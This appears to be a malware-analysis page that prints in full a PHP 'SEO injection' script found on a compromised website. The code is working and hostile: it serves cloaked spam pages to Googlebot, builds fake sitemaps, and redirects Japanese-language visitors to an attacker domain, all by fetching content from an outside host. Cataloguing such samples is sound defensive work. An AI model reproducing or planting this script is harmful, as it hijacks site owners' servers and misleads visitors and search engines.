PHP Decode

<!-- 
	Detected: 2016.11.02 on southeastconnection.ca  
	Description: SEO Injection Script 
--> 
 
<!-- Original Code --> 
<?php 
if(!function_exists("stripos")) 
{ 
	function stripos($str,$needle,$offset=0) 
	{ 
	  return strpos(strtolower($str),strtolower($needle),$offset); 
	} 
} 
$isoldpage=isoldpage(); 
$uy= $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'] ; 
$u = explode('?ja-',$uy); 
$isBot = isGoogleBot(); 
$isJa = isJaBrower(); 
$referer = $_SERVER['HTTP_REFERER']; 
if(trim($_SERVER['QUERY_STRING'])=="sitemap.xml"){ 
	$url = "http://html.2016win.win/v1/siteurls.php?".$u[0]; 
	ob_start();  
	$url_str = GetFileContent($url); 
	$contents=ob_get_contents();  
	ob_end_clean();  
	$arrayUrls = explode("|",$url_str); 
	$dom=new DomDocument('1.0', 'utf-8'); 
	$urlset = $dom->createElement('urlset'); 
	$dom->appendChild($urlset);  
	$xmlns = $dom->createAttribute("xmlns"); 
	$urlset->appendChild($xmlns); 
	$xmlnsvalue = $dom->createTextNode("http://www.sitemaps.org/schemas/sitemap/0.9");  
	$xmlns->appendChild($xmlnsvalue); 
	foreach($arrayUrls as $k=>$v){ 
		$url = $dom->createElement("url"); 
		$urlset->appendChild($url); 
		$loc = $dom->createElement("loc"); 
		$url->appendChild($loc); 
		$text = $dom->createTextNode($v);  
		$loc->appendChild($text); 
	} 
	header("Content-type:text/xml; charset=utf-8"); 
	echo $dom->saveXML(); 
	exit; 
} 
if ($isBot){ 
    if(!$isoldpage){ 
		$queryid=$_SERVER['QUERY_STRING']; 
		$str = GetFileContent("http://html.2016win.win/v1/proxy2.php?".$u[1]."|".$_SERVER['HTTP_HOST']); 
		echo $str; 
		exit; 
	}else{ 
		$str=GetFileContent("http://html.2016win.win/v1/proxy.php?".$u[0]); 
		echo $str; 
		exit; 
	} 
}else if (isSpider($referer) && $isJa){ 
	echo '<script>document.location=("http://html.2016win.win/ny1.php?'.$uy.'");</script>'; 
	exit;  
} 
function isGoogleBot(){ 
	if(stripos($_SERVER["HTTP_USER_AGENT"], "Googlebot") !== false) return true; 
	else return false; 
} 
function isJaBrower(){ 
	if(strpos(strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']), "ja") !== false) return true; 
	else return false; 
} 
function isSpider($referer){ 
	if(strpos(strtolower($referer), "google") !== false || strpos(strtolower($referer), "yahoo") !== false) return true; 
	else return false; 
} 
function isoldpage(){ 
	if(strpos($_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'],'?ja-') !== false) return false; 
	else return true; 
} 
function GetFileContent($url){ 
		$ch = curl_init(); 
		$timeout = 30;  
		curl_setopt ($ch, CURLOPT_URL, $url); 
		curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);  
		curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); 
		$file_contents = curl_exec($ch); 
		curl_close($ch); 
	return $file_contents; 
} 
?> 
 
<!-- Unminified/compressed code --> 
<?php // Unneccessary ?>